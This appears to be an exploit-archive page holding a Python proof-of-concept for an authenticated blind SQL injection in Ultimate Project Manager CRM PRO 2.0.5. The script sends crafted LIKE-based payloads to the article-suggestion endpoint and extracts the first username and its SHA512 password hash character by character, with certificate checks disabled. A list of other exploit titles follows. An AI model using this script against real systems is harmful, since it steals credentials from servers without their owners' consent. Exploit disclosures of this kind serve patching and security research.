Menu

Search for hundreds of thousands of exploits

"Ultimate Project Manager CRM PRO Version 2.0.5 - SQLi (Authenticated)"

Author

Exploit author

nag0mez

Platform

Exploit platform

php

Release date

Exploit published date

2020-10-20

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
# Exploit Title: Ultimate Project Manager CRM PRO 2.0.5 - SQLi Credentials Leakage
# Date: 2020-16-09
# Exploit Author: nag0mez
# Vendor Homepage: https://ultimatepro.codexcube.com/
# Version: <= 2.0.5
# Tested on: Kali Linux 2020.2


# The SQLi injection does not allow UNION payloads. However, we can guess usernames and passwords fuzzing the database.

#!/usr/bin/env python3
#-*- coding: utf-8 -*-
import requests
import sys

# The original vulnerability was found on a server with an invalid SSL certificate,
# which Python could not verify. I added the verify=False parameter to avoid SSL check.
# The lack of verification results in a warning message from Python.
# To get a clean output, we will ignore all warnings.
import warnings
warnings.filterwarnings("ignore")

host = 'https://testurl.test' # Change
url = "{}/frontend/get_article_suggestion/".format(host)

chars = '1234567890abcdefghijklmnopqrstuvwxyz'
hex_chars = 'abcdef1234567890'

def send_payload(payload):
	try:
		response = requests.post(url, data=payload, verify=False)
		content = response.text
		length = len(content)
		return length
	except Exception as e:
		print('Cannot connect to host. Exit.')
		sys.exit(1)
	

def get_first_user():
	found = True
	known = ''

	while found:

		found = False
		for c in chars:
			test = known + c
			payload = {'search': "' or (select username from tbl_users limit 1)like'{}%'-- ".format(test)}
			length = send_payload(payload)

			if length > 2:
				found = True
				known += c
				print(c, end='')
				sys.stdout.flush()
				break

	return known

def get_hash(username):
	found = True
	known = ''

	while found:

		found = False
		for c in hex_chars:
			test = known + c
			payload = {'search': "' or (select password from tbl_users where username='{}' limit 1)like'{}%'-- ".format(username,test)}
			length = send_payload(payload)

			if length > 2:
				found = True
				known += c
				print(c, end='')
				sys.stdout.flush()
				break

	return known


if __name__ == '__main__':
	print('Exploit started.')
	print('Guessing username...')

	username = get_first_user()

	if username != '':
		print('\nUsername found: {}'.format(username))
	else:
		print('\nCould not get username! Exit.')
		sys.exit(1)

	print('Guessing password SHA512 hash...')

	sha = get_hash(username)

	if sha != '':
		print('\nHash found: {}'.format(sha))
	else:
		print('\nCould not get Hash! Exit.')
		sys.exit(1)
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-10-20 "Ultimate Project Manager CRM PRO Version 2.0.5 - SQLi (Authenticated)" webapps php nag0mez
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.